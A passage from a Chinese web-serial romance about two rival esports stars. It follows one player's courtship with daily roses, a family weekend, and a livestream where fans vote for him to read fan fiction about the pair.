池一黎不太看群聊消息。他除了官方群外总共也没有进几个群,韩城他们拉他进去的群都太吵,没营养的话题他一向无视。 而在小群盛行的情况下,平常联盟选手总群里面都没人说话,所以为了防止错过重要信息池一黎没有设置静音屏蔽。 云醒在凌晨三点半给他发了几句消息,说全明星结束,明天ZKS就要回去了,问他今天晚上有没有时间。 他发:【已经征求了牧神的许可,我还是想单独请您一顿饭。】 那个点池一黎已经睡着。醒来后他看着这句话,觉得略微的有些不解。 和他吃饭为什么要征求牧绍的同意。 但这显然不是这句话的重点,池一黎回了一句好。 现在已经是中午十二点半,韩城在收到回复后照例在楼下等他一起去吃饭。 韩城的房间在一楼,左右没有见池一黎下来,打完三局消消乐就大跨步飞奔上去,到拐角时看到他刚好打开门出来。 对面的房间房门大敞,日光顺着走廊的窗户斜斜照射过去,池一黎穿着最简单的纯黑色短袖和烟灰色牛仔裤,正在拿着一顶黑色的鸭舌帽往头上戴。 他有堪称完美的黄金比例,身型修长挺括,下垂的眼睑自带一丝薄凉。池一黎抬起眼看到韩城愣在那里,问:“怎么?” “这玩意,村长送的?”韩城努努嘴说。 牧绍今天要去参加全明星的闭幕,一大早就已经回了酒店。也不知道昨天晚上到底是来干什么。 单纯地宣布一个行动的开始?照他的性子的确很有可能。 池一黎顺势侧头,看到门把手内侧夹着一朵漂亮的碎冰蓝。 飘逸洒脱的行楷被写在一张小小的卡片上,牧绍留言:【猜到你一定会想着拒绝我,但请不要一开始就让我出局。】 这算是什么。池一黎将花拿下来。 “很会嘛村长,拿个花瓶插上?”韩城笑问,“我最近刚淘了几个新玩意。独狼角色卡的卡砖我昨天给你又定制了一个,贵卡就得配贵砖啊,摆在桌子上得多好看……” 韩城说着说着,看到池一黎捏着花垂眸的神情,才突然反应过来什么一样住了口。 不对。 他真的只是单纯在这对邪门cp突然火起来后,为了兄弟占据有利地位而紧急买号申请了一个超话主持人而已。 热搜大家都知道是假的,平日里磕磕调侃一下就好了,但牧绍送花这动作怎么像是要成真? 池一黎迈开腿说:“下去放客厅。” 幸好自己兄弟冷硬的心堪比冰川。 韩城松了口气,一边走一边接话道:“行啊,乐姐为了她那几只什么圣心百合和哪国来的桔梗花才买了新花瓶,刚好能用上。” “三水,你今天晚上回家?”韩城问。他是HWD教练从游戏排行榜上挖过来的外省人,本身休赛期应该回家,但他在基地住惯了,又刚好遇到全明星。 “明天。”池一黎紧接着说,“晚上和云醒去吃饭。” 好一个大喘气。韩城刚刚放松下的心顿时又提了起来。 他心上涌现一股罪孽深重的感觉,是一种觉得cp是假的,毅然退圈后发现前cp突然卖了的无力感。 “三水……你是直的吧?”韩城小心翼翼地问,发现自己竟然一直都忽略了这个问题。 韩城的问题过于愚蠢。而且在现在同性可婚的背景下,已经没什么人会问这种问题。池一黎目不斜视地把碎冰蓝放进餐桌上的空花瓶里,淡然回答:“不是。” 晴天霹雳! 磕了这么久发现正主竟然真的是同性恋! “你不要喜欢村长啊三水!”继庄路弥天塌过后韩城天也塌了,再一看桌子上的蓝色玫瑰都变得面目可憎起来,“我是你们cp超话主持人,我作证你们俩不适合啊!” “没有在一起。”池一黎觉得韩城一惊一乍,十分莫名其妙。 “你少看点论坛和微博。”池一黎冷漠地评判,“会弱智。” “庄路弥也一样。” 韩城闭上嘴巴不说话了。 但是论坛真的很好看啊,人才又多说话又好听。他默默地想。 云醒作为本次全明星新人挑战王,极大幅度地提升了一波竞圈地位。他的脸太过精致,又是娱乐解说主播出身,喜欢他的人多数纯粹看脸,跟追星一样对游戏内容也不怎么在意,基本没怎么了解过他的技术。 他在全明星结束后发了很长一段小作文感谢俱乐部和粉丝,最后分别单独艾特了池一黎和牧绍。 微博是庄路弥转发来的,池一黎细细看了一遍,云醒在里面解释说是因为他们两位对自己的帮助最大。前者给了他打职业的机会,后者提供了很多能力上的帮助。 池一黎打了几个字上去,却显示需要登录后才能操作。他想了半天微博账号密码,最后用手机号验证登录上去,在他艾特自己的微博下面评论了一句【你应得的。】 几分钟后,牧绍紧随其后地发了:【[cp]@A好玩的哭包池一黎: 你应得的。[/cp]】 非常明显的复制粘贴,甚至于前后复制评论时的自带后缀都没有删。 池一黎自己的微博昵称是【HWD-三水也】,但他们两个的账号甚至都没有互相关注,牧绍怎么给他改的备注。池一黎盯着牧绍的那句话看了一会儿,又下意识顺手退出了账号。 他和云醒约在餐厅包厢里见面。 池一黎到的时候云醒已经坐在那里了,他摘下鸭舌帽走过去,菜品紧跟着他落座的动作被端上来。 云醒说:“我没来过这里,查了资料后本身定的是另一家,但牧神说您喜欢吃这家的东西。” 前半句有心,后半句倒是没有错。池一黎点了点头。 “我很感谢您。”云醒低声说,“我昨天才知道直播间榜一那个系统默认的乱码名称是您。” 系统默认的乱码名称是云醒开播一年后有一天突然出现的一个三无小号。 他话不多,但对于云醒操作的失误每次都一针见血。花钱也很大方,哪怕现在云醒火了后也一直占据榜一的地位。 云醒不是牧绍那样老天爷赏饭吃的纯天赋选手,也不是池一黎这样随便一点就通的怪胎流鬼才。他意识出众,但因为原生家庭的问题一直处于自卑的心理状态,打法有创新,但不敢过多进阶。 三无账号乱码给了云醒很多的情感支持。他在一次次鼓励下,才下定决心离开家去参加青训。 牧绍突如其来的邀请对他而言是一个惊喜。他想去ZKS。没人不想去ZKS。世界顶级的冠军战队,还有唯一的现役真神选手牧绍,年轻,出众,卓越。二十三岁,所有人的偶像。 而HWD从来不在云醒的考虑范围内,哪怕三无账号明确邀请过他出青训营后可以担任首发,哪怕它也是豪门战队。 有第一的选项谁会去做第二?毕竟第一名会被所有人记住。而且,HWD的中单位白书罗正值黄金状态,他没有被替换上场的可能性。 但是牧绍告诉他,池一黎其实一开始想让他去尝试上单。 角色没有上限,有上限的是操作他的人。而他用上单英雄走中路的思维就是受到三无账号的提拔,才能在新人赛克制住白书罗的角色一举拿下最佳新人。 云醒昨天才发现,池一黎转发的他那三条微博,都是他在炫耀自己用上单走中路所打出来的MVP战绩。 池一黎以三无账号的身份鼓励他突破禁锢走上职业,就算云醒没有如他所愿进入HWD,也还是继续以‘三水也’这个角色指导敌对战队的他进行更精细的操作,让他在一次一次训练赛中获得飞越般的自信。 现在想起来,能遇到池一黎,简直就像是在做梦。 “不用感谢我。”池一黎说,“这是你自己的成就。” 云醒看着他,摇头道:“这不一样。” 云醒的视线比他那头绿色头发都要灼目。池一黎对待有天赋的选手都是一视同仁,也没觉得自己做过什么,并不值得云醒这样情深意切的感激。于是拿起筷子说:“我并没有做什么,当初下定决心的是你自己。” 他身上穿着普普通通的黑色短袖,没有任何繁杂的花纹和装饰,自然而然铺面而来一种寡冷禁欲的气质,云醒看着他雪一样浅淡的眸瞳,为之前自己的想法感觉到羞愧。 可能存在喜欢,但什么样的人配得到他的爱意,而这个人显然不是自己。 “你是很好的人,”云醒诚挚地说,“所以你会幸福。” 家人、朋友。池一黎都拥有,在爱的港湾里长大,到现在一直很幸福。 他想:如果有一天能打败牧绍拿到冠军,他应该会更加幸福。 牧绍就在他们隔壁。 云醒和池一黎单独见面这件事情,光是想一想就让他有些不能接受。牧绍深度剖析了一下自己,查询百度发现有占有欲是正常现象。 宿敌,羁绊,他还要成为唯一特殊的那个。占据目光和他的心脏,选择叠加时太过庸俗,池一黎是他可以说给所有人的秘密。 该怎么做?牧绍游刃有余唯我独尊二十三年的大脑对此一无所知,在探寻一片从未触碰过的领域。 此刻他看着手机里从松闵昨天晚上分享来的——《如何征服英俊少男》《高情商聊天》《惹哭女朋友时你要这样做》《十招教你运用儿童心理学把老婆哄成翘嘴》陷入沉思。 这位麦麸界的天才在早上出门时拍拍他的肩说:“前天三水刚被你惹哭,你要不多学习一下怎么哄人?” “为什么要哄?”牧绍懒散且不解地问,“我喜欢看他哭。” “你惹哭的你不去哄,你是想被他讨厌吗?” 牧绍仔细思考了一下,笑起来说:“一边掉眼泪一边讨厌我的话也很可爱。 ” “如果最讨厌我或者只讨厌我的话,其实那也不是不行。” 幻视恨比爱长久文学,从松闵被他的话干沉默了:“勺儿啊,你要不先去学学‘如何像正常人一样思考’吧?” 牧绍深思了一下,自己不够正常吗?他顺风顺水到现在,觉得只要主动,结果最后都会是好的。 麦麸界的另一位天才伍于起在一旁移开和女朋友通话中的电话,转头道:“我们中唯一的真同性恋木勺啊,俗话说抓住一个人的心就要抓住一个人的胃,你要不去学做饭吧?” 从松闵问:“不在一个市做给谁吃,马上我们就走了。手机屏幕吗?” “这不还可以为以后打算嘛,在一起后多幸福啊,爱人吃自己的饭。我当时追她的时候也没想到,在一起后因为是我做饭,所以每次吃饭前她都会主动给我一个吻当作辛苦费诶………” 从松闵啧道:“虽然我也对他很有信心,但你也太笃定了吧,怎么搞得像他绝对会追到的一样。” “因为这可是牧绍啊。”伍于起笑,“人一辈子只会当一次恋爱白痴。” 因为察觉到喜欢所以就喜欢,因为想在一起所以就去追。说的再高级直白来讲心情还是这样。 什么想成为你的特殊,想拥有唯一的称号,摊开起来还不是一句——“对,我喜欢你,我要追你。” 做饭完全是小菜一碟,天赋型选手牧绍一想到池一黎以后可能会主动,尝试了一次就已经迅速掌握。 牧绍翻了几页《如何让你爱的人爱上你》,觉得里面写的狗屁不通,完全看不进去,索性把手机扔到一边。 视野里池一黎的身影经过在门的另一边,绕了几步路就又出现在一楼餐厅门口,牧绍隔着窗站起来去看他,手心里捏住名字叫乌梅子酱的紫色玫瑰。 池一黎手上拿了一支烟,不知道在想些什么,和云醒分开后没有立刻就走,而是站在没什么人的大街门口发呆。他身高腿长,一身黑衣,皮肤又白的有些晃眼,远远望去总有一种不好相处的冷感。 牧绍还没见过他抽烟,对此不禁有些好奇。看着他掏出打火机时烟掉了下去,站在原地反应了好一会儿才慢吞吞地弯腰去捡,不由得被逗笑了起来。 池一黎大多数情况下都保持很淡的心态,他把烟捡起来后下意识摩擦过打火机的齿轮,火苗照耀,转头时一个小女孩的声音在一旁响起。 “大哥哥,掉地上的东西不能塞进嘴里。”从身后同一家餐厅出来,身高到他大腿根的小女孩摸了摸她自己口袋,抬头说,“吸烟不好,我请你吃糖。” 她父母在后面看起来有些不好意思,池一黎接过西瓜味的棒棒糖,在小女孩期待的目光里拆开来塞进嘴里。 池一黎把烟扔到一旁的垃圾桶,将打火机塞进衣服口袋里,又站在原地开始发呆。 “池一黎,你好像小学生。”看了全程的牧绍说。他从后方把玫瑰花贴着鸭舌帽的帽沿轻轻别在池一黎的耳朵上,看到自己的成品满意地笑起来,“你怎么还抢小孩的糖吃。” “没有抢。”池一黎下意识认真地反驳,他侧头看到牧绍那张熟悉的脸,说:“是她给我的。” 视野的余光多了一层阻拦,牧绍刚刚在他帽子上放了什么?池一黎咬碎棒棒糖,在牧绍举起手机的动作里,抬起手想要把东西摘下来看个究竟。 又是一朵玫瑰花?池一黎拿在手上:“你怎么在这?” “因为缘分——”牧绍说,看到池一黎不信任的眼神,又果断坦诚道,“好吧,我一直就在你隔壁。” “因为你在和云醒单独吃饭。”牧绍知道自己没有立场,但不妨碍他理直气壮地表达自己的想法:“本身还有点在意,但是看到你后,我就只记得去注意你了。” “你不用送花给我。”池一黎想起他早上的那张小卡片,又见他这样直白,感觉还是有些奇怪,“会枯萎,还很难养。” “我每天都送一朵,你可以在它枯萎前就换掉。” 池一黎说:“这个没有必要。” “那花好看吗?”牧绍问。 池一黎顿了顿,认为还是需要说清楚:“牧绍,我现在对你没有这方面的意思。” “你也说了是现在,这很正常。”牧绍完全无所谓,桀骜痞气的面容上眉尾微扬,“如果你也和我有一样的心情,那我现在就可以直接和你登记结婚了。” 思维跳脱的太快,池一黎对于他的理论无话可说,把玫瑰花放回到牧绍全身上下唯一的口袋里。 “而且花很配你啊。” 牧绍翻过来手机懒懒地笑起来,池一黎扫过一眼,看到屏幕上他刚刚拍的自己。 “我的意思是,亲爱的池一黎,在我这里你比花还漂亮。” 池一黎从来不认为自己长相漂亮,也太清楚没人会把这个词按在自己身上,只有牧绍会总这样说。 “不是漂亮。”池一黎想知道他脑子里面是什么,审美有问题还是?于是刻意加深语气说,“你不要用这个词形容我。” “那用什么?好看的池一黎?” 身材有型的冷酷英俊帅哥池一黎伸手压低了帽檐,不去接他的这句话。 “怎么这样冷漠。好吧闹脾气的可爱池一黎,我可是明天就要走了。” 牧绍把花拿到手上,再用花瓣去点池一黎的侧脸,“想象几个月后的国内赛终于打败我拿到团体赛冠军,有没有开心一点?” “你有点过分。”池一黎不想还好,一想更笑不起来,冷脸说,“你明明知道我们这赛季……” 虽然祈求奇迹出现,但是队内配合上限就在那里。六年的压制里虽然也有险胜,但总体来讲配合差距并不只是说说而已。 更何况今年云醒加盟ZKS,属性完克白书罗的成名英雄。 “说不定呢。”牧绍看他这样就忍不住不去逗他,故意补充说,“虽然可能你确实赢不了我。” 这下好了,池一黎彻底不理他了。 牧绍拿花瓣再去戳戳他的脸,语气带笑道:“池一黎,你真的好像小学生。” 第36章 池一黎周六早上回家的时候他爸已经做好饭了, 这位人到中年还富有童心的男人煎了三个卡通鸡蛋,见他进门笑起来:“回来了?快点洗手吃饭。” 洗漱间就在门口,池一黎洗漱完去帮忙端盘子, 妈妈正在厨房里盛最后一碗,早餐是很简单的玉米煎饺配黑米粥。 他们两位喜欢一边看电视一边吃饭,池一黎把碗拿到茶几, 客厅电视上正放着全明星赛事的解说视频。 他爸往沙发上一坐说:“你妈妈最近就看这个视频博主。虽然看不懂,但这小伙子夸的她爱听。” “晚上就吃蒸饺啦?我昨天和你爸都已经提前包好了,”妈妈走过来, 又转头说, “你这不废话,夸我儿子的谁不爱听?” 池一黎点点头,把煎饺塞进嘴里。听到电视上男声越来越激动起来:“……吾皇一包二好像陷入危机了啊, 让我毒奶一口看看怎么发展,众所周知皇帝上单一人成神啊,要是这把寄了那一定是村长的问题………” “……等一下村长来了!村长天神下凡宛如踏着七彩祥云一般来迎娶,不对来救他的队友了!漂亮!不愧是六年的宿敌啊这波进场时机太妙了!蹲草被反杀, 曾经的队友变敌人, 心理阴影直接一手给到联盟第一cp哈……” 妈妈问:“这什么村长是不是就是抢你冠军的那个人?” 其实也不算抢他冠军。毕竟团体赛打不过是真的队友技不如人。牧绍是一神带四人,池一黎是一神带两人两猪。 池一黎不太想说这个, 但好像和长辈聊天的时候大多数时间只有这些话题,于是妈妈问的话他还是回答了:“嗯, 但是他本身就很厉害。” 了解自己的对手,然后认可他,这是竞技中的最大敬意。 妈妈笑起来。池一黎小学毕业后情绪就一直比较淡薄。当一个人足够优秀,再配合上他淡然的言行,外人看起来总会有一种“瞧不起人”的藐视感觉, 但其实是会坦然承认他人也一样优秀的性格。 眼前一米八七的青年已经比她还要高了半个头,神色平静地盯着电视,回答她问题时的话语也冷淡自如,已经完全是一个合格的大人模样。 她突然怀念起小时候的池一黎。 小学三年级,她记得很清楚,那天也是周六,池一黎在她浇花时突然来找她。 他家是三室一厅的普通公寓楼,阳台上放置有三个大架子,上面摆满了她种的各种盆栽。其中有一种叫猪耳朵花的植物,学名玉树,是在池一黎出生那一年她和他父亲一起种下去的。 在房间里画画的池一黎突然跑到她面前,却只是低着头不说话。大片大片的泪珠砸到地上,她还以为是被他那个不着调的爸爸欺负了,正要去叫人,池一黎抬起脸,抽噎着问她:“妈妈,我是不是得了什么奇怪的病要死掉了。” 池一黎只是因为不小心磕到门框感觉到有一点痛,但没想到眼泪就完全止不住。他不想哭的,但是他控制不住。在学校里也是这样,只是一点点小事情就会红了眼眶。 上课时老师说爱哭鼻子的是长不大的小孩。池一黎特意观察过,班里的小朋友没有一个像他一样会不分场合的掉眼泪。池一黎不想长不大,所以他在洗漱台等眼泪掉完了才会回教室,有人来了就倔强地说自己是在洗脸。 玩的最好的同桌是个小女生,每次见他掉眼泪都会问他:你一个男孩子怎么这样爱哭,然后强调说自己只有上幼儿园的时候才会这样。 池一黎不由得越想越伤心。他感觉自己有些不正常,是不是就和电视上那些一哭就会躺到病床上的人一样,得了奇怪的病。 那这样是不是就见不到爸爸妈妈了,于是本来只是单纯的咬着嘴唇掉眼泪,被她抱到怀里后真的害怕地哭了起来。 但那些都是小时候,自从上高中后她就没再见过池一黎在她面前掉眼泪,每次都会感慨自己宝贝儿子情绪控制的太过于完美。 十八岁的池一黎选择打职业,只在青训营训练了几个月就直接被招去首发。她对这些方面不太懂,专门抽时间研究了一下怎么是电竞。HWD基地那些人她每一个都特意见过,平时遇到节日都会去送一些手工小吃。发现他的队友都是一些很好的人,想来池一黎也不会在那里受到委屈。 “冠军一点也不重要,”她说,“如果能得到会是更好,但你选择打游戏的话,自己开心才是首要目的。” “打职业谁不是为了赢?”他爸爸显然不支持这句话,话一转又说,“但是单人对抗世界第一已经很棒了,团体战需要集体配合,有缘自会得到,你也不能过于钻牛角尖。” 这些池一黎当然都知道。他爸又紧接着问:“所以今天早上那个热搜是怎么回事?” 热搜代乐不是已经处理好了吗? 池一黎掏出手机看了一眼,看到热搜第一条那句崭新的#之死靡它,玫瑰迟暮 玫瑰迟暮。池一黎和牧绍的cp配对名,不过以前向来是被用联盟第一邪教统称。 他昨天晚上和牧绍站在街头说话被人拍了下来,照片上的场景刚好是牧绍漾着笑意在用花瓣点他的脸。 不久前才刚刚撤下来的热搜顿时又换了一个新的上去。狗仔早上七点爆的料,到现在已经几个小时,代乐竟然还没有给他打电话。 池一黎不知道怎么说,于是没什么表情地如实开口:“他在送我花。” 谁看不出来。 当面问这太抽象了。 池一黎大了有自己的隐私,他妈秉持着孩子到了时间自然会主动说的理念,感情方面家长问了也插不了手,飞速转移了话题没有让再问下去。 吃完饭他爸要拍视频。身为抽象派的大学教授,他和池一黎是两种完全天差地别的气质,哪怕面容有相似之处,到现在也还没有人能将他们联系在一起。 “最近什么梗好啊我想想……好像火的就是你和那什么村长的,”他爸摆手说,“算了,不行。你不能在我视频里露脸。” 池一黎对于露不露脸完全无所谓,但是他爸好像很有好胜心,非要凭借自己拼死闯出一片天地,丝毫不肯借用池一黎一点流量。 “把那个四十五岁男大一天vlog结尾好了,”他爸深思道,“还没到暑假,到考试再拍个挂科不快乐。” “你知道吗……遥想你爸我像你这么大的时候,你都一岁了。”他爸略有深意道。 那怎么办,池一黎是男同性恋,而且他又不能生。 池一黎无法接这句话,把他的手机拿起来,问:“拍哪一个?” 代乐给他宣传的直播时间是晚上八点,离得还比较早。 中午韩城在群里发消息说乐姐把昨天那两朵玫瑰修剪了一下插到水里了,到现在还没一点要败的迹象,再拍照说明了牧绍今天送的是七彩玫瑰。 【群聊:我们总有一天会杀穿ZKS的(5)】 老子就是打野的野:【沃日睡醒来看到热搜我虎躯一震,给我干哪天去了。】 老子就是打野的野:【这狗食的联盟,天杀的村长!】 老子就是打野的野:【真谈了不许瞒着兄弟们,庄路猴已经抓耳挠腮几小时没敢给你发消息了。】 老子就是打野的野:【啧该说不说这七彩花还怪好看的,牧狗颇具审美啊。】 老子就是打野的野:【要不是看到他已经上飞机了,苍了个天我得冲出去跑一圈。】 这可是众人之爹:【你跑的动?】 老子就是打野的野:【虽然大联盟选手都有病……但是队长你在看不起谁?!】 池一黎淡然回复道:【未谈。】 世界第一射手(堕落磕cp版):【爹哇,其实我挺喜欢这个爸的(扭捏)】 老子就是打野的野:【庄路猴你怎么叛变?!】 世界第一射手(堕落磕cp版):【(聊天截屏表情包JPG.)】 联盟群里牧绍几小时上飞机前潇潇洒洒的四个大字截图飞了满屏,现在已经流传至外。 〖喜欢的人是内向小学生:【对啊在追】〗 老子就是打野的野:【凭什么他能起十个字?】 射手跟我我是辅助:【因为他是svip。】 世界第一射手(堕落磕cp版):【(聊天截屏表情包JPG.)x2】 池一黎盯着牧绍的昵称看了一下,他爸爸也站在一旁凑过脑袋来看。 “内向小学生?”他爸毫无边界感地笑起来,“你也起个外向讨厌鬼。” 中午吃完饭后父子俩就一起出去散步,顺便去花鸟市场把妈妈想要的水仙百合淘回来。 “哥伦比亚重瓣粉六初,这是个什么花?”他爸捏捏下巴,“什么时候背着我这么高级了,这么多店有这个玩意儿吗?” 中午这个时间段来淘花的人不多,池一黎压低帽檐,迈开腿说:“问一下就好了。” 毕竟他一点也不内向,只是有的时候觉得没必要说话。 牧绍是早上的飞机,下午就到了ZKS俱乐部。他下飞机的时候估算着预订的花束应该已经到了,给池一黎发消息问“花好看吗”。 A好玩的小学生池一黎:【我在家。】 牧绍当然知道他周末会回家,但是韩城那些家伙一定会拍照给他看,这些天天冲浪的人心思不要太好猜。 他问:【那你喜欢吗?】 池一黎避重就轻。 :【……】 :【花很好看。】 喜欢的人是内向小学生:【那就是喜欢咯】 :【我也喜欢你】 :【^^】 池一黎收起手机,爸爸在一旁抱了四盆花,两个人正在一起往家走。因为那朵名字很长的花找遍了花鸟市场,仅有的唯一一家还在早上就卖完了。爸爸为了补偿买了三株模样看起来差不多的,倔强的不要池一黎帮忙拿一点。 总有一种虐待中年人的嫌疑。因为爸爸说想吃、而在路边买了三串糖葫芦拿在手上后,这种感觉更强烈了起来。 “你一周也回不来几天,”爸爸问,“所以休赛期间你还要住那里吗,还是说要一起出去玩?” 休赛期间没有大型赛事,除了还会约几场训练赛外完全是空闲状态。这段时间完全可以乱跑。群里韩城和庄路弥他们已经开始商量去哪里旅游了。 池一黎向来不参加,他觉得跑来跑去非常麻烦,而且小时候被父母带着基本都已经去过。 “和朋友去是不一样的感觉啊,”妈妈有些不赞同,她接过爸爸手里的花说,“未来谈恋爱后和男朋友一起,那还会是另外的感觉。” “下次去。”池一黎淡淡说,每个城市都差不多,这个休赛期他绝对不会离开市内一步。 晚上八点直播的时候直播间已经有不少人在蹲。池一黎在房间里检查了一下设备,再把妈妈端过来的果盘放正。 代乐说让他别打游戏了,今天晚上和粉丝聊聊天。池一黎每次自己一个人直播的时候都不知道该怎么聊,基本都是全程沉默着打完一局又一局游戏,时长够了就秒速下播,贯彻落实冰山高冷人设。 他平时话就不多,也没什么想聊的。而且今天四个队友都不直播,没有他们他一个人不打游戏还能干什么? 今天的弹幕仍然热情的过分,池一黎开播十分钟没有说一句话,弹幕和往常一样保持着一秒几百条的频次,只是刷屏的比之前更快。他在热搜上看了看,词条已经被代乐公关撤下来了。 池一黎想了一秒,点开了扫雷。 【摄像头摄像头摄像头摄像头是坏了吗怎么不给我老公开摄像头?!!!】 【牧绍文字截屏表情包JPG.】 【牧神送的玫瑰花好看吗?】 【三水大帝四连转是be了吗?怎么办我心碎】 【前面的没品,懂不懂什么叫联盟第一真爱啊!】 【一觉醒来邪教变真爱了,我嘞我其实是外星人?】 【牧绍文字截屏表情包JPG.】 【内向小学生你有本事开直播,你有本事说话啊!】 代乐对他完全投降,发消息让他挑着弹幕的问题说几句话就好了,然后想干什么干什么,爱打游戏就打吧,但是这赛季系数够了教练说你得开小号,其他怎么混时长都行。 池一黎顺其自然开口说:“在家里,今天不开摄像头,玩扫雷。” 【三水水我想看你掉金豆豆】 【细说和牧神那一夜】 【吾皇在家什么时候和牧神成家】 【牧绍文字截屏表情包JPG.】 【老公你可以把名字改成“讨厌的人是外向幼稚鬼”】 池一黎认真打完一局高级扫雷,再看弹幕的时候话题已经完全飘到了他和牧绍。 代乐有他直播间的房管权限,又问他说不知道干什么的话要不要设置投票,你总不能打三小时扫雷吧?看粉丝想看什么你干什么? 池一黎回了句好,反正他不开摄像头,干什么都完全无所谓。 空白投票在直播间被发起,满级粉丝牌可以在上面填要求,由没有达到等级的其他粉丝投出最高的一个,【女装】【唱歌】【给牧神打电话】等等层出不穷,基本都是平常其他人直播会干的事情。 女装他又不开摄像头,唱歌也无所谓,给牧绍打电话?感觉会很麻烦。但牧绍说话的话他就不用说话了,因为牧绍话很多。 池一黎再打了一局扫雷,又发现【朗读和牧神的同人文】莫名其妙地到了断层第一。 池一黎知道同人文,韩城之前和其他选手pk输了的惩罚就是这个,在训练室被公开处刑。但后者显然很会见缝插针,挑了一篇HWD团体友情向无cp朗读的非常快乐。 他开播前讨论完去哪里玩就没人说话的HWD内部群沸腾起来,联盟里也有不少人在窥屏,投票结果一出,弹幕和平台私信消息里顿时塞满了各种文章链接。 池一黎用电脑投屏的直播,他把扫雷界面移动到一边,顿了下,移动鼠标点开右下角不断跳动的图标,层出不穷的消息跃入眼帘。 池一黎向来不爱给人设置备注,所以显示的名字都是他们自己的微信昵称。 昵称为‘世界第一射手(堕落磕cp版)’的人一分钟内私信发了十篇,池一黎滑到最上面点开了第一篇,名叫《那天牧绍终于想起来被同人文支配的恐惧》。 另一个昵称为‘老子就是打野的野’的人只发了一篇,文章名《落日玫瑰燃烧直到世界尽头》,预警是无口高冷攻x疯批控制狂受。SM/精神控制/恋痛症。 池一黎刚点开还没看就被火速撤回,韩城又重新分享了一篇《牧绍的池一黎观察日记番外篇之不小心怀了宿敌的孩子后》,第一行粗黑体大字是这么写的:魔法生子,上升正主的我给你头打掉。 刚点开没多久韩城又迅速撤回了。发来一句:【三水你没看吧哈哈哈,要生也是村长生啊我们不受这个苦哈哈哈,哈哈】 老子就是打野的野:【分享文章《一觉醒来争锋相对的宿敌躺在我怀里,怎么办》】 池一黎:……… 他皱着眉把这两个人给他发的都点了一遍,又看到昵称为‘windy’的敌对ZKS队长从松闵发来的《池一黎一晚上□□醒十四次》。 韩城下一秒在联盟总群艾特从松闵大喊:【从松闵,你个狗玩意不准日我家1!!】 windy:【谁是从松闵?从松闵在哪?我是伍于起。】 windy:【韩城睁大你的狗眼好好看看,我这篇是没标左右的清水!】 弹幕开始咕噜咕噜: 【……我终究还是与这个世界格格不入】 【我服了正主你能不能离我们粉丝生活远一点?】 【老子就是打野的野是韩爹?沃日我对他印象还停留在联盟第一非主流称号获得者】 【有链接吗?家人们我都想看】 【(皱眉)从队你们能麦到cp榜一果然不是没原因的……(皱眉)(皱眉)】 【我求求们竞男了,你这让我怎么戴上滤镜继续追下去?】 【……希望你们知道们大多数粉丝是直的男的。】 池一黎简直对于这些脑子被看坏的人无话可说。看来让少看点论坛同人文和微博对他们来讲已经没有作用,这些人已经变成弱智了。 但是粉丝又是砸钱又是转发,投票榜投出来的东西不能说话不算数。 池一黎翻了很久,从一堆炸裂文名里精挑细选出来一篇名叫《误会》的文章,简简单单的标题,只有两个字,作者也没有标注任何预警,看起来应该是极其正常的一篇。 池一黎把文章点开,等一下,嗯?不对,怎么从平台跳转到微博了。 跳转到的微博主页昵称叫【黄色垃圾幻想琼楼】,评论里一堆人发的都是看不懂的话,再从链接进去申请阅读还需要去输入密码,他没什么波动地去找作者发的密码在哪。 弹幕莫名其妙间就少了很多,加粗加红的直播间帝王的弹幕孤独的飘过:【吾皇点开了就要读完哦(期待emoji)】 怎么回事?从来不看论坛不刷微博的老年人池一黎不解起来。看到突然之间就基本没几个人发的弹幕略微地陷入深思,停下了去翻密码的手。 电脑屏幕上倒映出他自己冷淡的面容,牧绍的语音通话打来的很突然。 界面里和牧绍的聊天消息最高只加载到了他自问自答的【我也喜欢你】,池一黎移动鼠标到接听通话的绿色图标,看到他随之发来的消息,又在犹豫要不要点下去。 喜欢的人是内向小学生:【语音通话申请——】 :【笨蛋小学生池一黎接电话】 :【你真的不是笨蛋吗?知道自己在点什么吗?】 :【换一个,接电话我帮你读】 池一黎下意识冷脸打字回敬:【你才是笨蛋。】 第37章 【Summary:HWD第一矿工皇帝池一黎和ZKS另一位双开门真神牧绍, 这对宿敌穿越到了一个不把其中一个人弄哭就回不去的平行世界里。】 因为牧绍说要换一个,隐隐约约察觉到不对的池一黎慎重地选择关闭微博网页,选择去点开这篇可靠的队长白书罗发来的同人文。 然后开局就被文案弄得沉默起来。 但池一黎只沉默住零点零一秒, 就迅速接通电话,再把同人文转发给牧绍,等着他履行自己刚刚打出来的承诺。 毕竟粉丝只说要‘朗读同人文’, 并没有规定是谁读。 牧绍不太感兴趣地点开文章,语调散漫道:“这还用关吗?有好玩的爱哭鬼池一黎在,这很好出去啊。” 【什么爱哭鬼啊牧神你为什么老是叫三水哭包啊(百思不得其解)(抓耳挠腮)】 【好耶是小情侣双人直播我们有救啦!】 【三水水掉金豆豆也让我看看!!】 【高冷冰山矿工吃一粒的相方村长是一个魁梧双开门的奇男子, 这就是顶级男人的爱情啊(闪电)】 【你们两个到底几岁怎么还互骂笨蛋:-)】 【kswl, 一八七笨蛋小情侣就这样吊打了今天热搜第二的娱乐圈工业糖精(心安)】 池一黎冷酷脸:“你可以不说话。” 牧绍点击鼠标,拖长音笑道:“我不说话谁帮你读啊?””而且——我说的哪一点错了?短短一天就哭了三次,不是爱哭鬼是什么。” 池一黎一天内的三次都是被他惹哭的, 但说出来又显得有些刻意,好像自己多在意被弄哭这件事一样。索性懒得和他争论,叉住一块切好的苹果,简短地说:“牧绍, 你好幼稚。” 到底是谁幼稚? 牧绍立刻想接“明明你才是世界上最幼稚的”, 但是反应过来自己想说的话换几个词就会变成前几天台上的对话,而池一黎掉眼泪掉的总是那样猝不及防, 顿时不由得笑起来。 那天晚上云醒对他说,池一黎对你来说和其他人都是不一样的。 哪一方面?还和别人都不一样。他本身就是特殊那个。 他的所有你都能记住, 喜欢的、讨厌的、习惯的。哪怕一百个人站在一起,所有人里你也只会注意他。 如果对待一个人与众不同这件事形成理所当然的想法,那这并不一定会被当事人轻松察觉。牧绍懒洋洋回,敌对关系之间的确是不一样的,你要约他吃饭? 云醒说:“但是他和你在一起, 就不会再答应我的请求。” 因为和我在一起就不会答应云醒——牧绍被他这句话取悦到,那一刻散发思维想——但是哪怕不是云醒,池一黎未来也会和其他人在一起,在他看不到的时候答应不知道哪个人的请求。 那这个人为什么不能是自己? 对手这层关系不能让池一黎不谈恋爱。牧绍要当那个特殊的,唯一的,与众不同的人,那就让池一黎和自己在一起不就可以? “幼稚怎么了,”牧绍毫无心理负担地承认这个标签,说,“和你很相配啊,小哭包池一黎。” 好吧,池一黎就是有些在意。 牧绍说话怎么能这样讨厌,每一句话都要说他爱哭。 